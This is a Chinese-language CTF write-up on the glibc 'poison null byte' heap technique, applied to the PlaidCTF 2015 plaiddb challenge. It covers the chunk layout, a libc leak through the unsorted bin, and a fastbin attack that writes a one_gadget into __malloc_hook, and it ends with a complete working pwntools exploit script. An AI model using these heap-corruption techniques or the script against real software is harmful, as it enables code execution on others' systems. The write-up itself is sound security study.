Poison null byte

关于堆块重叠,可以看这篇文章,图文并茂。

glibc2.26中,在unlink宏中加入了size==prev_size(next_chunk)的检查,与下一chunk所存储的pre_size进行了比对,在poison_null_byte.c中相应的添加了*(size_t*)(b+0x1f0) = 0x200,可以绕过这个检查,所以how2heap的README中对glibc的要求是<2.26应该是忘了改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
chunk b +------> +----------+
| |
+----------+ <---------+ size
| 0X200 |
+----------+ <---------+ b
| |
| |
| |
| |
| |
| |
| |
| |
| |
+----------+ <--------+ fake pre_size
| 0X200 |
+----------+
| |
chunk c +------> +----------+ <--------+ pre_size
| 0X210 |
+----------+
| |
| |
| |

触发unlink的流程:通过null byte溢出伪造完0x200的chunk后,此时该chunk存在于unsortedbin。再次分配0x100的b1时,遍历unsortedbin,该chunk被放入到smallbin中,unsortedbin里的chunk也就这一个,遍历结束无法分配。又通过查找binmap找到0x200的smallbin,这时触发的unlink,将该chunk从smallbin中取出。

原来我以为在unsortedbin中就直接split分配了,没有unlink操作,实际不是。

只有是last remainder且大小足够大,或exact fit才会直接进行分配,否则就只是将chunk各归其位。

1
2
3
4
5
6
7
8
9
10
// split
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
.... // split 然后分配

/* Take now instead of binning if exact fit */
if (size == nb)
... // 直接分配

Plaidctf2015 plaiddb

analysis

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

关键数据结构

image-20200702231553911

据说是用红黑树进行的节点的管理,我没看懂….只能看出来是个树,好在这不影响做题。

功能

这个程序有GET、PUT、DUMP、DEL、EXIT几个指令,主要关注PUT、DEL就好。

GET:输入节点key,输出

PUT:创建节点,输入key,content大小(也就是节点size),和content

DUMP:打印所有节点

DEL:通过key查找节点并删除

涉及的分配与释放操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
main:
malloc(0x38)
malloc(0x8)
malloc(0x9)

PUT:
malloc(0x38)
malloc(0x...) func my_readline
malloc(size) content

DEL:
malloc(0x...) func my_readline
free(key)
free(content)
free(data_struct)
free(readline) # 找不到该key,将不会释放。内存泄漏

其中程序中的my_readline(我给起的名)函数,分配变长字节的空间,不够的就realloc(2*usable_size),所以它存在usable_size:0x18、0x38、0x78、0xf8、0x1f8…这样的分配序列。

同时该函数尾部存在null byte溢出

poison null byte && memory leak

memory leak: DEL函数中,my_readline中malloc的空间存储key,该key在没有找到的情况下,不会被释放。

我通过学习(copy)ctf-wiki中的解法,自己整了一套size。

1
2
3
4
5
6
7
8
9
10
11
12
+------------+
| 1 | <-- 0x110
+------------+
| 2 | <-- 0xe0
+------------+
| 3 | <-- 0x70
+------------+
| 4 | <-- 0x100
+------------+
| 5 | <-- 0x100
+------------+
| X | <-- 任意分配后 chunk 防止 top 合并

上面写的大小都是chunk size,包含chunk头。

通过叙说过程,说明其各个chunk的作用。

  1. 依次分配1~5空间连续的chunk,释放1、3、4,顺序不重要。

  2. 4的大小就是my_readline的usable_size等于0xf8的情况,使用my_readline溢出覆盖chunk5->pre_size为0x360,也就是0x110+0xe0+0x70+0x100, 和覆盖chunk5->size的最低字节为0x00。

    而此次malloc不会被释放,所以也就不会被_int_free函数报错。

  3. 释放chunk5,它会向前合并为0x460的块,放入unsortedbin中。

  4. 再次分配chunk1大小也就是0x100,就会将0x460切割,剩下的放回unsortedbin。这样就会在chunk2内就会被写入fd和bk,通过打印chunk2就可以获得unsortedbin的位于main_arena上的地址,也就知道了libc base。

  5. chunk3在0x70的fastbin内安然无恙,再次分配在0xf0,覆盖chunk3的fd指针为__malloc_hook-0x3,两次分配0x68,写入one_gadget。(也就是fastbin attack)

fastbin attack

fastbin的fd指针不能随便覆盖,因为fastbin在分配过程中有以下检查。

1
2
3
4
// glibc release/2.26/master 3599~3601
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");

对将要使用的chunk进行size检查,chunksize宏将size低三位置0,fastbin_index宏在64位中忽略size低四位。

1
2
3
4
5
6
7
8
9
10
// glibc release/2.26/master 1289~1292
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))

// glibc release/2.26/master 1600~1602
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

所以使用0x7f可以绕过该检查,在内存中libc的最高位字节通常就是0x7f。

image-20200703005053188

利用偏移将0x7f置于chunk->size的位置,伪造0x70的fastbin。如下图所示,将0x7fa03fe51bdd当成chunk的起始地址。这种手法据说在支持非对齐寻址的CISC指令集CPU中才可以,例如X86。

image-20200703005257021

覆盖chunk2的fd后。

image-20200703003554526

exploit

先前看ctf-wiki刚接触heap的时候,就遇到这题,真是花了我好长时间整明白。今天在how2heap里又遇到,使用了glibc2.26进行了测试,exp依旧可以,只需要改下偏移就可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
# for glibc 2.26 no-tcache
from pwn import *

context(os="linux", arch="amd64", log_level="debug")

ready = False
if ready:
pass
else:
io = process("./datastore")
libc = ELF("../glibc_versions/2.26/x64_notcache/lib/libc-2.26.so")

def cmd(command):
io.recvuntil("Enter command:\n")
io.sendline(command)

def get(key):
cmd("GET")
io.recvuntil("Enter row key:\n")
io.sendline(key)
io.recvuntil("[")
num = int(io.recvuntil(" bytes").strip(b" bytes"))
io.recvuntil(':\n')
return io.recv(num)

def put(key, size, content):
cmd("PUT")
io.recvuntil("Enter row key:\n")
io.sendline(key)
io.recvuntil("Enter data size:\n")
io.sendline(str(size))
io.recvuntil("Enter data:\n")
if len(content) < size:
content = content.ljust(size, b"\x00")
io.send(content)

def delete(key):
cmd("DEL")
io.recvuntil("Enter row key:\n")
io.sendline(key)

delete("th3fl4g")
# 分配足量0x38空闲块,避免影响后面分配连续的空间
for i in range(10):
put(str(i), 0x38, b"padding")
for i in range(10):
delete(str(i))

put("1", 0x100, b"1")
put("2", 0xd0, b"2")
put("3", 0x60, b"3")
put("4", 0xf0, b"4")
put("5", 0xf0, b"5")
put("top", 0x400, b"padding to top")

delete("1")
delete("3")
delete("4")
delete(b"a" * 0xf0 + p64(0x360)) # poison null byte
delete("5")

gdb.attach(io, "b *$rebase(0x1A20)")
put("0x330", 0x330, b"padding") # 前面的0x38块出现合并,分配出去,避免影响后续
put("0x100", 0x100, b"padding")

libc_base = u64(get("2")[:6].ljust(8, b"\x00")) - 0x3ABC60
log.info("libc_base: 0x%x" % libc_base)
put("prepare", 0xf0, b"a" * 0xd8 + p64(0x71) + p64(libc_base + libc.symbols["__malloc_hook"] - 0x10 - 3)) # fastbin attack

put("0x68", 0x68, b"padding")
put("attack", 0x68, b"a" * 3 + p64(libc_base + 0x40dd6))
delete("a")
io.interactive()

glibc2.23 exp

Ref

  1. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/#2-plaidctf-2015-plaiddb
  2. https://4ngelboy.blogspot.com/2016/10/span-display-block-overflow-hidden_10.html